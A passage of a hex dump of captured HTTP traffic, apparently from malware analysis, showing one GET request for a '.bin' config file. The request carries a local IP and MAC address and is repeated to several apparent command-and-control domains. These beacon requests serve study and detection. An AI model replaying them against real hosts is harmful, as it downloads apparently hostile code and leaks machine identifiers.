0x00000120 (00288)   726f6c3a 206e6f2d 63616368 650d0a0d   rol: no-cache...
0x00000130 (00304)   0a                                    .

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20706c 75732e73 6f6f6d65 6e672e63   : plus.soomeng.c
0x00000100 (00256)   6f6d0d0a 436f6e6e 65637469 6f6e3a20   om..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a                                  ..

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20706c 75732e69 63616665 6164732e   : plus.icafeads.
0x00000100 (00256)   636f6d0d 0a436f6e 6e656374 696f6e3a   com..Connection:
0x00000110 (00272)   20436c6f 73650d0a 43616368 652d436f    Close..Cache-Co
0x00000120 (00288)   6e74726f 6c3a206e 6f2d6361 6368650d   ntrol: no-cache.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20646f 776e696e 692e636f 6d0d0a43   : downini.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a68650d    no-cache....he.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20696e 69787a2e 636f6d0d 0a436f6e   : inixz.com..Con
0x00000100 (00256)   6e656374 696f6e3a 20436c6f 73650d0a   nection: Close..
0x00000110 (00272)   43616368 652d436f 6e74726f 6c3a206e   Cache-Control: n
0x00000120 (00288)   6f2d6361 6368650d 0a0d0a0d 0a68650d   o-cache......he.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20696e 6962696e 2e636f6d 0d0a436f   : inibin.com..Co
0x00000100 (00256)   6e6e6563 74696f6e 3a20436c 6f73650d   nnection: Close.
0x00000110 (00272)   0a436163 68652d43 6f6e7472 6f6c3a20   .Cache-Control: 
0x00000120 (00288)   6e6f2d63 61636865 0d0a0d0a 0a68650d   no-cache.....he.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a206269 6e646f77 6e2e636f 6d0d0a43   : bindown.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a68650d    no-cache....he.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20706c 75732e7a 7a696e66 6f722e63   : plus.zzinfor.c
0x00000100 (00256)   6e0d0a43 6f6e6e65 6374696f 6e3a2043   n..Connection: C
0x00000110 (00272)   6c6f7365 0d0a4361 6368652d 436f6e74   lose..Cache-Cont
0x00000120 (00288)   726f6c3a 206e6f2d 63616368 650d0a0d   rol: no-cache...
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20706c 75732e73 6f6f6d65 6e672e63   : plus.soomeng.c
0x00000100 (00256)   6f6d0d0a 436f6e6e 65637469 6f6e3a20   om..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20706c 75732e69 63616665 6164732e   : plus.icafeads.
0x00000100 (00256)   636f6d0d 0a436f6e 6e656374 696f6e3a   com..Connection:
0x00000110 (00272)   20436c6f 73650d0a 43616368 652d436f    Close..Cache-Co
0x00000120 (00288)   6e74726f 6c3a206e 6f2d6361 6368650d   ntrol: no-cache.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20646f 776e696e 692e636f 6d0d0a43   : downini.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a68650d    no-cache....he.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20696e 69787a2e 636f6d0d 0a436f6e   : inixz.com..Con
0x00000100 (00256)   6e656374 696f6e3a 20436c6f 73650d0a   nection: Close..
0x00000110 (00272)   43616368 652d436f 6e74726f 6c3a206e   Cache-Control: n
0x00000120 (00288)   6f2d6361 6368650d 0a0d0a0d 0a68650d   o-cache......he.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20696e 6962696e 2e636f6d 0d0a436f   : inibin.com..Co
0x00000100 (00256)   6e6e6563 74696f6e 3a20436c 6f73650d   nnection: Close.
0x00000110 (00272)   0a436163 68652d43 6f6e7472 6f6c3a20   .Cache-Control: 
0x00000120 (00288)   6e6f2d63 61636865 0d0a0d0a 0a68650d   no-cache.....he.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a206269 6e646f77 6e2e636f 6d0d0a43   : bindown.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a68650d    no-cache....he.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20706c 75732e7a 7a696e66 6f722e63   : plus.zzinfor.c
0x00000100 (00256)   6e0d0a43 6f6e6e65 6374696f 6e3a2043   n..Connection: C
0x00000110 (00272)   6c6f7365 0d0a4361 6368652d 436f6e74   lose..Cache-Cont
0x00000120 (00288)   726f6c3a 206e6f2d 63616368 650d0a0d   rol: no-cache...
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20706c 75732e73 6f6f6d65 6e672e63   : plus.soomeng.c
0x00000100 (00256)   6f6d0d0a 436f6e6e 65637469 6f6e3a20   om..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20706c 75732e69 63616665 6164732e   : plus.icafeads.
0x00000100 (00256)   636f6d0d 0a436f6e 6e656374 696f6e3a   com..Connection:
0x00000110 (00272)   20436c6f 73650d0a 43616368 652d436f    Close..Cache-Co
0x00000120 (00288)   6e74726f 6c3a206e 6f2d6361 6368650d   ntrol: no-cache.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20646f 776e696e 692e636f 6d0d0a43   : downini.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a68650d    no-cache....he.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
